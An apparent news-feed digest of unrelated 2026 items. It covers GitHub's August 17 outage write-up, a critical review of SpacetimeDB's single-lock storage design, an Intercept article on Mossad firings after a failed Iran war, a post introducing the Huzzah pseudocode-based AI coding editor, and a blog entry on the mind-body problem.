There’s also a multitude of details we don’t have because this is a rapidly disseminated public writeup, and the good stuff can only be found in the internal writeup. I speculated in this post about the relationship between service owner and autoscaling policy, but I would love to know more about the history here (did this policy predate the use of Istio sidecars, for example?). I’d also love to know more about the problematic traffic. (What kinds of requests were they? Was it a sudden increase or a gradual ramp-up? Do we know why the traffic increased?).

You can’t get answers to these sorts of questions for public incident writeups, but you can for the internal ones at your own organization. It’s up to you to ask the questions.

The August 17 outage, and the work ahead

Hacker News
github.blog
2026-08-20 15:22:24
Comments...
Original Article

On August 17, GitHub experienced an outage that lasted 7 hours and 47 minutes. It disrupted github.com, authentication, GitHub Actions, APIs, pull requests, issues, and Copilot, affecting developers and organizations around the world. If you were trying to ship software that day, we let you down.

This was our second significant incident in August, following an actions failure on August 6 . In March and April , I shared the work underway to improve GitHub’s reliability. We have made progress, but these incidents make clear that we must accelerate this work.

What happened

Our investigation found that the outage began when traffic reached a new peak, and a critical infrastructure component in our Central US data center failed to scale with it. The resulting capacity pressure spread through our systems, causing authentication failures and disrupting multiple GitHub services.

Recovery required several coordinated actions. Teams rerouted traffic, isolated affected infrastructure, and restored services in stages. Most GitHub services recovered earlier that day, but some Copilot services took longer. Errors in those services triggered a client-side retry loop that increased traffic during recovery. We had to mitigate that behavior before we could safely restore traffic. The full root cause analysis includes a detailed technical timeline.

Neither outage was caused by a code or configuration change. Both incidents were capacity failures at their core. We failed to scale critical components before demand exceeded their capacity. Since April, monthly commits have grown from 1.4 billion to 2.9 billion. That growth explains the pressure on our systems, but it does not excuse these outages.

Three side-by-side dark-themed line charts show strong growth from 2023 to 2026: merged pull requests per month rising to about 130M, commits per month rising to about 2.9B, and new repositories per month rising to about 24M, with acceleration in 2025–2026.

What we have done and what comes next

As part of the reliability commitments we made earlier this year, we have focused on three priorities: adding capacity, improving efficiency, and removing architectural bottlenecks. We have since added more than 3 million CPU cores, 120 petabytes of high-speed storage, and significant network capacity. We installed as much hardware as available power allowed in our existing data centers while accelerating our migration to Azure.

Today, Azure serves roughly 58% of GitHub’s platform load and half of all Git operations, up from 12% of platform load in May. This expanded footprint has also supported the growth in GitHub Actions job runs shown below.

Large dark-themed line chart titled ‘Growth in completed GitHub Actions runs’ shows a rising trend from early 2026 to August, with regular weekly dips and increasing peaks. Values grow from roughly 15–30M early in the year to over 100M, ending near 115.4M.

Azure’s infrastructure and capacity have also accelerated our work to scale the largest monorepos. Our next milestone is an architecture that scales read capacity linearly with the number of readers, enabling unlimited read operations. We will roll it out gradually, beginning with the largest monorepos.

Two dark-themed ‘Fetch Throughput History’ charts compare fetch operations per second over short time windows. Left chart fluctuates and plateaus around ~1,000 OPS/S before dropping near the end; right chart climbs steadily in steps to about ~1,800 OPS/S.

Scale is not our only challenge. As the pace and complexity of change increased, our existing operational practices did not keep up. We have redirected teams and resources toward availability and invested in stronger testing, safer rollouts, better observability, and more effective alerting. We have made progress, but this work is not complete.

In addition, we are also isolating critical systems and removing shared dependencies between them. This work is designed to reduce the likelihood of an outage and limit its impact when one occurs.

We learn from every outage and add new work to our availability workstream. The August 6 and August 17 incidents led to two immediate changes. First, we are applying consistent retry limits, retry budgets, and variable timeouts across service-to-service interactions to prevent retry storms and cascading load. Second, we are reviewing lower-priority CPU and memory alerts to identify components that could fail during sudden traffic spikes.

Our commitment to high availability isn’t just a technical promise. The developer community depends on GitHub to build, ship, and operate their work. That is only possible if you can rely on us, and on August 17, you couldn’t. It is our responsibility to fix that. We’ll earn your trust through the scaling and reliability of the platform.

Written by

Vlad Fedorov

Vladimir Fedorov is GitHub's Chief Technology Officer, bringing decades of experience in engineering leadership and innovation. A passionate advocate for developer productivity, Vlad is leading GitHub’s engineering team to shape the future of developer tools and innovation with a developer-first mindset.

Before joining GitHub, Vlad co-founded UserClouds, a startup specializing in data governance and privacy. He spent 12 years at Facebook, now Meta, as Senior Vice President, leading engineering teams of over 2,000 across Privacy, Ads, and Platform. Earlier in his career, Vlad worked at Microsoft and earned both his BS and MS in Computer Science from Caltech. He currently serves on the board of Codepath.org, an organization dedicated to reprogramming higher education to create the first AI-native generation of engineers, CTOs, and founders.

Vlad lives in the Bay Area and when not working enjoys spending time outside and on the water with his family.

Related posts

Explore more from GitHub

Docs

Docs

Everything you need to master GitHub, all in one place.

Go to Docs

GitHub

GitHub

Build what’s next on GitHub, the place for anyone from anywhere to build anything.

Start building

Customer stories

Customer stories

Meet the companies and engineering teams that build with GitHub.

Learn more

GitHub Universe 2026

GitHub Universe 2026

Join us October 28-29 in San Francisco or online for GitHub Universe, our flagship developer event uniting people, agents, and the world’s code.

Register now

Tidal Cycles – Live coding music with Algorithmic patterns

Hacker News
tidalcycles.org
2026-08-20 15:21:45
Comments...
Original Article

Free/open-source software

Free/open-source software

Tidal Cycles (or 'Tidal' for short) is a free/open source live coding environment for algorithmic patterns, written in Haskell. Tidal is using SuperCollider, another open-source software, for synthesis and MIDI. Tidal has inspired a open source family of similar environments adopting its model of patterns of time known as Uzulangs , including the web-based Strudel environment.

Pattern everything

Pattern everything

Tidal Cycles allows you to make patterns with code. It includes language for describing flexible (e.g. polyphonic, polyrhythmic, generative) sequences of sounds, notes, parameters, and all kind of information.

Tidal Community

Tidal Community

Tidal is used by a diverse and vibrant community of musicians for composition, improvisation and exploration of algorithmic music. Check out the Tidal Blog or submit your own blog post . Learn about the Tidal community .

SpacetimeDB: A Short Technical Review

Hacker News
strn.cat
2026-08-20 15:19:53
Comments...
Original Article

2026-02-26

The database market is harsh, particularly for newcomers. It’s very hard to launch a new product and differentiate yourself from the incumbents. Even harder to gain any long term traction. Earlier this week, SpacetimeDB launched version 2.0 of their database with a peculiar approach that —as far as I can tell— hasn’t been done before: a slightly surreal (meme-y) video where they mock their competitors (drinking “competitor’s tears”) and a set of benchmarks that seem too good to be true (they are, indeed, not true), and that also mock other databases. Look at the cute magnifying glass next to the big losers of that benchmark. You gotta zoom in to see how much they suck! Good stuff.

Competitor tears! Ha ha! These guys suck! Ha ha!

I’ll be upfront and admit that I find this distasteful. But nonetheless, I think there are interesting ideas in this product, and I’d like to do a short technical review whilst being as fair as possible.

Benchmarks #

One common mistake newcomers to the database space make is believing that you can win by having “the best performance”. I’ve never seen this in practice. The (very few) companies that have built a sustainable database offering are winning by providing good, honest technical work that stands on its own. Of course, having benchmarks definitely helps with that. But then the benchmarks have to be good, honest technical work.

The ones that SpacetimeDB provided are none of those things. They have quite a few technical flaws in what they measure. You can see an alternate set of benchmarks here where SpacetimeDB stacks up very poorly against the competition.

Nonetheless, the big fundamental flaw in those benchmarks is that they’re not honest. And I get where they’re coming from, I do: they’re not honest because their database offering is something very different to the competition, and that makes it very enticing to write benchmarks like that. Their product is in a different segment of the database space, and they’re choosing to compare their product against databases that make different tradeoffs. It’s an appealing comparison, but it’s not a fair one.

I’ll give you an example of what this looks like, which I went through myself: a couple years ago I was working at PlanetScale and we shipped a MySQL extension for vector similarity search. We had some very specific goals for the implementation; it was very different from everything else out there because it was fully transactional, and the vector data was stored on disk, managed by MySQL’s buffer pools. This is in contrast to simpler approaches such as pgvector , that use HNSW and require the similarity graph to fit in memory. It was a very different product, with very different trade-offs. And it was immensely alluring to take an EC2 instance with 32GB of RAM and throw in 64GB of vector data into our database. Then do the same with a Postgres instance and pgvector . It’s the exact same machine, exact same dataset! It’s doing the same queries! But PlanetScale is doing tens of thousands per second and pgvector takes more than 3 seconds to finish a single query because the HNSW graph keeps being paged back and forth from disk.

It was indeed very alluring to show that in a benchmark. “We’re 10000 times faster than pgvector !”. But come on now. That’s not honest. Yes, it’s the same machine, the same dataset, and the same queries, but it’s not the same thing. We did not publish those benchmarks; instead we published a technical breakdown of the implementation, without unfair comparisons, which was very well received.

You don’t need “INSANE BENCHMARKS” to win at this. You just need solid technical work and solid technical writing explaining the trade-offs and limitations of your offering. You can see another example with Turbopuffer . Their benchmarks are not impressive, particularly when compared to their competitors. Their documentation has more lines discussing the things the database cannot do than the things it can do. But everyone knows that if your use case fits their offering, they have the best product for search in the market. Miles ahead of the competition. They don’t drink their competitors’ tears, they just quietly take their customers.

Anyway: back to SpacetimeDB and their benchmarks. They have a very different offering than their competitors! It’s an all-in-one database + application server, where you deploy a database instance and your application’s code runs inside the database itself . That’s a very interesting idea, I think. You could say it’s just like stored procedures in a relational database, but with better developer experience. Fair. But you can totally build a viable product out of that, though!

You gotta admit, however, that it has very little to do with the multi-region, highly available distributed databases against which it’s benchmarking itself. If your application code is running inside the database and your competitors have a separate application that must perform individual network requests for each query, then yes, you should be ahead in benchmarks that measure QPS. But are those honest benchmarks? Is that comparison what you want to show to potential customers evaluating your technical offering?

I’d say it’s not a very good thing to highlight. Accessing data in-memory is faster than accessing data over a network, and you’ve built a benchmark harness to prove that. As a potential user, I am not very impressed. I think from a marketing point of view, it would be much more interesting to show how fast you can access data in-memory, and then explain the trade-offs you’ve taken to get at those speeds.

From what I gather, there’s no clear technical breakdown on their website that explains this. So let’s give it a go here.

Storage #

There are several reasons why SpacetimeDB shows such good write performance in the synthetic benchmarks they’ve published. Obviously, the elephant in the room is that application logic runs locally next to the database and it can be exceedingly efficient when writing to the data store that way. They boost this efficiency even further with other tricks (such as batching writes), but to get to the performance numbers they’re showing, you need to cut corners somewhere : the data store is in-memory, which is very much unlike a traditional RDBMs.

Now: The good news is that writes to the in-memory store are linearizable. There’s some bad news, however. Proving linearizability of a system is usually an arduous task; I did not need to whip out TLA+ to do it here. Here it is trivially provable. Because the system is, well, a hash table with a lock in front of it.

Storage implementation diagram

This may seem exaggerated but trust me, it actually a quite accurate description of how the storage engine is designed. The committed state for the whole database in a SpacetimeDB instance is wrapped in a single Read-Write Mutex. All write operations happen sequentially, which is indeed trivial proof of linearizability. Two writes cannot happen at the same time, so they cannot conflict or race. But a read and a write cannot happen at the same time either!

What happens if there are too many writes? Do the readers starve? Building a data store on top of a single global lock with read/write semantics is a valid technical choice. Perhaps it is a bit questionable to market that as “a database”. But it seems to me that if you’re going all in with that approach, if that lock will provide the concurrency control for your whole database, you need to have very explicit, customizable semantics for prioritizing readers and writers, to ensure the server remains responsive regardless of the workload.

In this case, the behavior is an implementation detail, not particularly defined nor explained anywhere. The mutex is an off-the-shelf parking_lot::RWMutex , from the parking_lot crate. It has eventual fairness, which means that readers will eventually acquire the lock, even during high write-throughput scenarios. They will be randomly delayed, though, up to 0.5ms. The parking_lot crate is a Rust port of WebKit’s original WTF::Lock this 2024 changeset shows how eventual fairness was implemented there. You should read it, it has very good performance insights on mutex contention. Think of it as a palate cleanser from this blog post. Now back to the hash table & the lock.

So what happens in this system during a write? Well, anything happens. It really is quite magical. While the global lock is held, a Wasmtime runtime is used to execute “reducers” (arbitrary user code, compiled to WebAssembly). While the reducer is executing, no other reducers can execute and write to the database. No other code can read from the database either. From their official documentation, reducers “cannot perform HTTP requests”. Yeah. No shit. The critical section for all writes to this database is exclusive and serialized, and it executes arbitrary user code. You’d better not be doing HTTP requests in the middle of it.

There’s a bit of an escape hatch here: you can use “ Procedures ” in the server. As of this week’s release they are still in Beta (the documentation warns that the API may change in the future). They do allow you run expensive code, including HTTP requests, so that’s a good thing. From inside a procedure, you can open a transaction, which again acquires the global mutex and doesn’t allow any other concurrent writes nor reads to the database, so make sure you commit it very very quickly or the whole system will stall.

For reads, the story is very similar. They’re supposed to happen through “ Views ”, which are the read-only equivalent to reducers. Since they acquire a reader lock on the global mutex, several views can run concurrently, but the database cannot be written to while views are executing. Just like reducers, views are arbitrary user code compiled to WebAssembly.

Durability #

One obvious consequence of this single-mutex design for a database is that you need to be doing the least amount of work possible in the critical path for the transaction. HTTP requests are definitely out of the question. But you cannot do other “expensive” stuff like some other RDBMs often do, such as, you know, persisting the transaction to disk (teehee).

Durability pipeline diagram

This fully in-memory database is backed by a Write Ahead Log, but the WAL is not committed to disk as part of the write transaction. The WAL is asynchronous, and is flushed periodically to disk on the background (by default, every 50ms).

Can you actually make this fully consistent? The limitations of the “single mutex design” make this complicated, as the WAL can never be written synchronously (it would completely stall all other writes and reads in the application). The system does provide an option when reading , with peculiar semantics. The withConfirmedReads flag allows reads to only return data that has been synced to disk, by sleeping on the server until it eventually sees the WAL entries for the result of the query flushed to disk. This can be a sleep of up to 50ms, which is a long time for a request. It’s not a very ergonomic behavior, but the assumption here is that this is a database for “mostly ephemeral” data and your average query doesn’t need this kind of highly consistent guarantee.

This whole thing is giving big MongoDB-2011 vibes. In many ways, really. The guys at Mongo launched a pretty shitty database with very impressive benchmarks, and eventually got builled by the internet (see: MongoDb is Web Scale ) into implementing a proper storage engine. They acquired WiredTiger, which really is a proper storage engine. Fifteen years later, they are a serious and viable database company. And yet there’s still a lot of technical people who remember the early days of Mongo and refuse to use it in production or recommend it. Their information is outdated. Modern Mongo is a serious database that works. But the bad technical reputation lingers, and will linger forever.

I think there’s a big lesson to be learned here: in 2026, if I were to launch a database product that is a hash table with a single lock in front of it, I’d do it quietly. Because cutting corners when launching a database product has been proved to be a viable approach (I wouldn’t do it myself, but MongoDB did it with great success). But as soon as the product catches on, if it does, you need to rush to pay back the technical debt and the reputational debt. A marketing video with laser beams and a “bottle of tears” makes this much more complicated.

Tradeoffs #

We’ve seen the technical choices that allow SpacetimeDB to perform so well in specific benchmarks (i.e. benchmarks where they measure how fast our application can write to the database; given that our application is the database). These choices are not explained upfront in the documentation, and sadly the trade-offs that these choices imply are also not explicitly listed.

Going through them briefly: this is not a distributed system and it has a very hard limit on scalability or availability. You can deploy a “SpacetimeDB cluster”, meaning a primary instance and several followers with eventually consistent replication (emphasis on eventually consistent; the WAL is eventually consistent, the replication is too, there’s a lot of margin for things to go wrong here), but your whole system is bottlenecked by the CPU and RAM capacity of the machine where your main SpacetimeDB instance is deployed. You need enough CPU for your database to execute all the queries, but also for your whole application to execute all its application logic, as again the application lives inside the database. You need enough RAM to fit all your database’s data in-memory. SpacetimeDB is not disk-backed at all; it just flushes a WAL to disk (and periodically, snapshots that make recovering from the WAL quicker on restarts). If your dataset grows larger than RAM, your database (and your application, which are the same thing) will fail over. The only option for scalability here is vertical : buying a bigger machine to run your database.

These tradeoffs are, again, perfectly valid. But they clearly position SpacetimeDB as “a more powerful Redis” , not “a more performant relational database” . It’s very puzzling why the authors chose to benchmark as the later.

Use Cases #

The original version of SpacetimeDB was developed as the backend of an MMORPG (a real game that you can play in Steam right now ). That seems fair to me. I think all the technical choices in the database fit this use case. You can asynchronously flush to disk a WAL entry that says that xXxPussyHunter420xXx has looted [Thunderfury, Blessed Blade of the Windseeker] . 50ms of delay is OK here. He’ll get upset if the instance crashes just right then, but he’ll get over it.

Of course, there’s not a lot of studios building MMORPGs right now, and the ones that are building any kind of multiplayer games really tend to prefer their own in-house backends. They’re large studios after all, they’ve done this before. So I totally get why they’re pivoting SpacetimeDB v2 into something with broader appeal.

Their marketing page now says that “ LLMs go much further with SpacetimeDB because it handles all the persistence, logic, deployment, and real-time sync in a single cohesive backend.” That’s also a fair choice. Agentic coding is the thing happening right now. Building a database that targets LLMs seems like a good idea. But I’ll be honest here: they literally made the worst possible technical choices for this use case.

The whole shtick of SpacetimeDB is that the performance and availability of both your application and your database is 100% dominated by short segments of user code which cannot perform any operations with side effects or stalls, because they’re compiled to WebAssembly and executed by a virtual machine inside a critical section that serializes all writes and reads to the storage backend of your application. The absence of side effects or stalls cannot be enforced by the type system, and is dependent on the particular WASM bytecode that is generated by a JIT compiler at runtime. Any mistake inside these critical sections, any operation that could cause them to stall under load, is probably only going to be seen in production, and is going to degrade the performance of your whole application — most likely to the point of causing an availability issue.

This is not the ideal environment for a LLM to program in. lol

Having said that: I think there’s a product here, and some lessons to learn. Perhaps the authors eventually apply them to SpacetimeDB v3 and launch a more resilient and LLM-friendly database, where application code is isolated and can run for as long as it needs, without possibly affecting other application code running locally, even when faced with serious implementation bugs; where transactions can run for as long as they need without affecting the performance of other transactions; where they’re implicitly throttled if they’re taking too long, if the LLM did not provide an optimal query plan. Perhaps we’ll see a system that is much more resilient to failure, but with much less “impressive performance”; perhaps the system will be trivially distributed so that the AI agent doesn’t have to plan a distributed system itself; perhaps it will launch with fewer silly benchmarks and with more technical details.

Now that’d be a product to keep an eye out for.

Israeli’s Spy Agency Suffers a Crushing Defeat Entirely of Its Own Making

Intercept
theintercept.com
2026-08-20 15:06:16
High-profile Mossad firings show that none of the agency’s promises about the war with Iran have come to pass. The post Israeli’s Spy Agency Suffers a Crushing Defeat Entirely of Its Own Making appeared first on The Intercept....
Original Article
This picture taken from the southern Lebanese village of Zawtar al-Gharbiyah shows smoke billowing from the site of an Israeli controlled explosion in the village of Bani Hayyan on August 13, 2026. Lebanese Prime Minister Nawaf Salam on August 12 condemned Israel's "systematic destruction" in the country's south as a violation of international law, as Israel's defence minister said its military was "destroying all the houses" there. (Photo by Ammar Ammar / AFP via Getty Images) /
Taken from the southern Lebanese village of Zawtar al-Gharbiyah, this photo shows smoke billowing from the site of an Israeli controlled explosion in the village of Bani Hayyan on Aug. 13, 2026. Photo: Ammar Ammar/AFP via Getty Images

Earlier this month , Roman Gofman, the new director of the Mossad, Israel’s shadowy national intelligence agency, dismissed the heads of its intelligence directorate and Iran division, known only by their heavily anonymized names “K” and “Y,” respectively. The Mossad prides itself on secrecy, and while terminations following the appointment of a new Mossad director aren’t unprecedented, such public oustings, which were reported by Israel’s mainstream news organizations, are almost unheard of.

The last known dismissals for incompetence came in 1997, when a botched attempt to assassinate Khaled Mashal, then chair of Hamas’s political bureau, resulted in the detention of several Mossad agents inside Jordan and a public relations disaster. Prime Minister Benjamin Netanyahu’s government found itself forced to supply the antidote for the poison its Mossad agents had administered, bringing down both the agency’s director and the director of operations.

Israel is now dealing with the aftermath of the largest mistake in its history, one of its own doing: its failed war on Iran. Sold to the United States as an easy war that would quickly bring down the Islamic Republic and its alleged nuclear weapons program, almost nothing Israel desired came to pass.

The promise of assassinating Ali Khamenei was that it would bring about governmental chaos and spur a spontaneous national uprising. Instead, it only led to the selection of his younger son as the new supreme leader, a leadership that may prove to be even more antagonistic to the United States and Israel than the previous one.

Israel also promised that any potential closure of the Strait of Hormuz would be militarily ineffective. Now, Iran’s ability to hold the world economy hostage — despite relentless claims by the U.S. that the waterway is “open” — is its most valuable weapon.

The Mossad’s particular role in this war involved weakening the Islamic Republic’s security structure in hopes of then funneling guns to Kurdish armed groups who would invade the country from Iraq, and then fuel mass demonstrations to topple the state. All of these lofty ambitions completely detonated on impact with reality, with Iran’s security structure remaining intact despite assassinations and airstrikes, Kurdish factions instead suffering constant Iranian military attacks, and no major protests occurring in any Iranian city, despite the massive anti-government protests in January that swept through the country.

For those who witnessed the Mossad’s public campaigns to encourage protests and defections — which it deployed in the open through Farsi-language social media accounts on X and Telegram bearing their name and seal — signs of the inevitable failure of this campaign were becoming evident. While images from June 2025’s Twelve-Day War of Mossad agents operating inside Iran and sabotaging Iranian military operations shocked many inside the country — that sabotage hampering Iran’s initial military response — its ability to change fundamental facts on the ground, and to move an entire country’s population against the sitting government, sputtered.

The Mossad chose to shift its image as that war began, capitalizing on its perception as an all-powerful and omniscient force to offer its supposedly unlimited power to help the Iranian populace. This shift manifested through cryptic social media posts, sarcastic quote-tweets of Iranian officials, and offering gifts to those who answered questions by direct message. The Mossad offered remote medical services through WhatsApp , and former radio host Menashe Amir, who notably hosted an Israeli radio show in Farsi aimed at anti-Islamic Republic Iranians, made videos on the Mossad’s behalf encouraging Iranians to listen to what the intelligence agency had to say.

The effort produced little. Iranian officials openly mocked the campaign online from the start, and it became increasingly desperate as mass protests failed to materialize. AI-generated videos of Iranian prisons having their walls blown open, and of happy Iranians following their defections to Israel, did next to nothing. The Mossad has continued to post AI-generated videos using Grok to encourage collaboration following the ceasefire.

While accusations were levied (and arrests made) of supposed Mossad agents inside the Iranian protests in January , their infiltration, alleged or otherwise, did not end up toppling or even shattering the Islamic Republic. Instead, more than 7,000 protesters were killed that month, in addition to hundreds of police officers.

After the plan to arm Kurdish groups, in collaboration with the CIA, apparently fell apart — either by Trump’s veto or, as Trump claimed, because the Kurds simply kept the weapons themselves — the Mossad apparently came up with a quick Plan B . The new bright idea: Overthrow the government via an airstrike campaign against Iranian police stations and checkpoints manned by the Basij, the Islamic Revolutionary Guard Corps’ paramilitary militia component. Despite extensive strikes in broad daylight, with some Iranians tipping off locations to opposition media outlets to help facilitate this campaign, the mass uprising, once again, did not arrive.

The war did not continue long enough for a comprehensive Plan C to come to fruition on the ground, with the Israeli military beginning to strike railways and manufacturing infrastructure, and Trump taking the lead on calling for the destruction of Iran’s energy infrastructure and bridges. Both are unified in their hope to strangle the country economically in hopes of pushing Iranian society into oblivion, but this outcome is only truly possible through American military means.

But even the U.S. has seen itself overextended , unable to resupply its missile interceptors for its own bases in the Middle East, and potentially unable to protect Israel as effectively as it had in the past should open conflict break out over its skies again.

News of the dismissal of the Mossad officials was met with disbelief in the Israeli media and by veterans of the intelligence service, who accused Gofman of suppressing the agency’s ability to function. By firing two deputies, security analysts accused him of foisting the agency’s failure onto underlings to shield the decisions made at the top levels of government from scrutiny.

While overthrowing the Iranian government has remained a popular idea among Israeli officials and other elected politicians, Netanyahu chief among them, other politicians have acknowledged its difficulty. Gadi Eisenkot, the former Israel Defense Forces chief of the general staff, has spoken of the unlikelihood of being able to overthrow the entire Iranian system, instead stating that operations should have continued “in the shadows.”

Reporting from Israel Hayom in May revealed that many in the Mossad were opposed to the idea of focusing resources on overthrowing the Iranian government, seeing it as a massive gamble. The Mossad’s former chief of influence operations, known as O., told the newspaper that he felt he had to sell the operation to many in the agency, despite the fact that “no one actually knows how to overthrow a regime or what the chances are that it will succeed.”

In March, just days before he would be killed in an Israeli assassination strike, Ali Larijani, then-secretary of the Iranian Supreme National Security Council, told the Iranian news outlet ISNA that Netanyahu “seemed to believe that these attacks had set a movement in motion inside Iran and that, by portraying the system as being in disarray, he could incite the public.” But Larijani pointed out that in less than a day, the regime had appointed “replacements for the commanders who had been killed, addressed the public, changed the atmosphere, and, by issuing specific orders, authorized the launch of missiles.”

Netanyahu, having pushed for the military overthrow of the Iranian government across multiple American administrations , finally got the war he wanted. But neither raw force, nor covert operations executed on his orders, were enough to carry out his will.

While Finance Minister Bezalel Smotrich has remarked upon how the current situation is very much working for Israel — one in which southern Iran is constantly bombarded with no end, and America is doing all of the fighting and dying — Netanyahu has continued his rhetoric about the need to create the conditions for the fall of the Islamic Republic. But in a moment of rare humility, he admitted this may “not happen in a single day.”

Recent reporting from Ynet found Netanyahu’s government instructed both the Israeli military and the Mossad to prepare for a much larger campaign against the Iranian state, with eyes on a potential return to open war in autumn. As has been the case over and over again, in Yemen, Lebanon, Gaza, and now Iran, Israel hopes that what was not solved with bombs can still be won — this time with even more bombs.

Show HN: Huzzah – a novel approach to coding with AI

Hacker News
www.danielvaughn.dev
2026-08-20 15:05:36
Comments...
Original Article

August 2026

A new experimental way to code with AI

If you’re a software engineer like me, the first few months of 2026 were incredible. Coding agents suddenly became good enough that we no longer needed to manually write code. But if you’re like me, then sometime later you hit a wall. The honeymoon period ended, and the novelty wore off. No more dopamine hits.

It’s August, and I feel utterly fatigued . To be honest, I’m sick to death of writing longform English to describe every change I want to my codebase. However, I also don’t want to go back to writing all my code manually. There was real tedium in that practice that I’d prefer to avoid for…well, the rest of my life.

And yet, I sense that I need to have better insight and control over what my code is doing. I want to know that my output is high quality, reliable software. I want to feel good about myself as a professional. So I’m trying to find a way to have my cake and eat it too.

My problem with coding agents is that

  1. There’s no reliable record of human intent. Prompts are discarded, and the code may or may not have been generated by AI. We’ve lost the central authority that expresses what the human wants out of the machine, and I think it’s important to contend with that fact.
  2. AI chats are imperative, step-by-step instructions that describe changes to the application, not the application itself. This means instructions are often repeated, and thus consume tokens, many times over the course of development. This is inefficient.
  3. Much of natural language exists for social reasons, not informational. The average sentence is scarce in real information. Writing in this manner, to a machine, is cumbersome.

To address these problems, I’m building an experimental editor. I’m calling it Huzzah, and it poses an alternative paradigm for working with LLMs.

With coding agents, prompts are (a) longform, (b) imperative, and (c) transient. With Huzzah, prompts are (a) pseudocode, (b) declarative, and (c) persistent.

It’s easier if I just show you.

Comparing fizz buzz

Let’s take a very simple example - say you want to use AI to create fizz buzz . We’ll do this twice - once with coding agents and another with Huzzah.

With coding agents

You start a chat in your tool of choice, and type something like the following:

Create a function that loops 100 times. If the number is divisible by 3, print “fizz”. If the number is divisible by 5, print “buzz”. If the number is divisible by both (like 15 for example), print “fizz buzz”.

If you need to make an edit, you’d send a follow up message to the chat:

Instead of looping 100 times, the function should take a number input and the function should loop that amount of times.

You repeat this process until you’re satisfied.

With Huzzah

You create a new file called fizz_buzz.hz . In it, you write a pseudocode representation, however you like. This is how I’d do it, personally:

fizz_buzz()
    loop 100
        modulo 3 ? "fizz"
        5 ? "buzz"
        both ? "fizz buzz"

You save the file, and Huzzah automatically generates real code from it.

If you need to make an edit, simply update your file:

fizz_buzz(n)
    loop n
        modulo 3 ? "fizz"
        5 ? "buzz"
        both ? "fizz buzz"

When you save the file, Huzzah captures the diff and uses it as the prompt to the LLM. The affected source code is thus regenerated.

Some other examples

To give you a better sense for what this could look like in other scenarios, here are some alternative examples.

1. Shopping cart

list cart
list inventory

mock_data = // include some mock data

init()
    inventory.fill(mock_data)

add_item(id)
    cart.add(item by id)

remove_item(id)
    cart.filter(item by id)

checkout()
    return cart.sum(item by price) and format as price

2. Todo List

Todo {
  id: int
  text: str
  completed: bool
}

add_todo(text)
    todos.add(text, completed = false)

toggle_todo(id)
    todo = todos.get by id
    todo.completed = NOT .completed

remove_todo(id)
    todos.filter by id

Benefits

You should be able to see some benefits already. Notice how much more terse and readable the pseudocode is than the longform prompts? Here are some more:

  • Writing prompts this way engages your mind, because it feels much more like you’re designing the shape of the code.
  • You can be as terse or as verbose as you like.
  • The pseudocode acts as developer documentation because a human wrote it to express their intent.
  • You could write a language agnostic pseudocode and use it as the basis for multiple language or environmental targets. Think complex algorithms, like a CRDT .

Caveats

There are no silver bullets, of course. Some exceptions:

  • It’s entirely possible that there are issues with this approach at scale.
  • This is obviously more ideal for new codebases than existing ones.
  • If you lack domain expertise, natural language is probably the easier interaction method.
  • Some things may be more difficult to reliably express, like cross-file dependencies.
  • LSP-type features would not be available (though this could plausibly be generated).

Current state

Huzzah is actively being developed, and exists only in an experimental state for now. You can find the source code and setup instructions here . Please give it a spin and let me know what you think!

Cheers.

Seeking God in Science Part 10.5: The Mind-Body Problem (Take 2)

Hacker News
blog.rongarret.info
2026-08-20 15:01:17
Comments...
Original Article

I made a big mistake in my previous entry in this series .  Actually, I probably made a few dozen, not least of which was deciding to tackle this topic at all without first laying a lot more foundation.  But before I give up and go back to talking about boring topics like relativity and quantum mechanics, I want to try to fix one mistake that really stands out: I set out to write about the "mind-body" problem, and then casually switched to talking about "consciousness".  The irony is that I did not do this consciously.  I did not deliberately decide to conflate consciousness and the mind, at least not that I can recall.  I just started writing, and at some point the sentence "The Big Question I'm going to tackle here is the problem of consciousness" somehow popped onto my screen, and then mental inertia took over.  It never even crossed my mind (!) that I had tacitly changed topics until I found myself arguing with Don about whether or not thermostats are conscious, and it has taken me many, many hours of post-mortem to realize — to become consciously aware of the fact — that that entire discussion can be traced back to that one sentence.  Of course, "mind" and "consciousness" are not completely unrelated, but the fact that that very sentence was, in retrospect, a product of my mind but not my consciousness is ironic testimony to the fact that they are not the same thing.  I feel more than a little chagrined not just for tacitly conflating them, but for taking so long to figure out that this is what I had done.  The second installment in this series was an entire blog post warning about exactly this pitfall, and then I just went and stepped in it.

In my defense I will say that I didn't originally intend to write about either the mind-body problem nor consciousness until much later in this series.  My original plan was to lay a lot more foundation first.  I was going to take at least half a dozen entries to cover classical mechanics, electromagnetism, and relativity.  Then I was going to talk about randomness, and how we can tell whether something is "really random" or just apparently so.  Then I was going to talk about quantum mechanics, which probably would have taken two or three entries to get through.  By the time I got there I would probably have felt the need to write an entry or two about computation and Turing machines.  And then , maybe , I'd be ready to take a whack at the mind-body problem, if I didn't get distracted by evolution, history, and cosmology first.  (Does the past exist?  Can we have reliable knowledge of the past?  Yada yada yada.)

But, being already ten chapters in, it was becoming clear that if I stuck with that original plan I was probably going to lose what little audience I have left long before I got to either the good part or the God part.  So I decided to try to blast ahead to the interesting stuff without taking the time to lay the foundation first, and I ended up doing a face plant.  It has taken me over a month so far to pick myself up, dust myself off, and decide where to go from here.

And what I've decided is to try again, being more careful about my terminology this time.  I also want to be clear that my goal here is not to get to a solution to the mind-body problem, but rather to illustrate what it looks like to tackle the problem using the scientific method as opposed to the methods of philosophy.  More specifically, I want to push back against the charge often leveled by creationists and other religious apologists that the scientific method makes assumptions, like materialism and the regularity of the universe.  It doesn't.  Materialism and the regularity of the universe turn out to be good explanations that account for observations .  They are not assumptions.

So let's start again from the beginning: we're engaged in the scientific method, finding the best explanation that accounts for all observations.  But the only observations I have first-hand access to are my own subjective experiences, so ultimately that is what I need to explain.  Many of my subjective experiences are well-explained by the Objective Reality Hypothesis , that material objects like chairs and other humans actually exist apart from myself.  Pursuing this leads, after a lot of hard work, to the things people usually think of as "science": classical mechanics, electromagnetism, and so on, all the stuff I've had to skip over to start talking about the mind-body problem at all.

What all of this scientific foundation doesn't do is provide a good explanation for why I have subjective experiences in the first place .  It doesn't explain what I mean when I use the word "I".  So let's try to figure that out.

One of the things that I observe about my subjective experiences is that they all seem to be strongly bound to something called a "body" (i.e. the "body" part of the "mind-body problem").  And not just any old body, but a particular body, one which I call "my" body.  My body is a physical thing, part of objective reality.  It is made of atoms.  It has mass.  It exists at particular places at particular times and follows a trajectory that obeys the laws of classical mechanics.  And despite the fact that my body changes over time, there is a sense in which it is meaningful to say that it is the same body now as it has always been. My body has a continuity of identity. The changes it goes through are mostly gradual ones.  These can accumulate to add up to big changes over time, but big changes in short times are rare and usually traumatic.
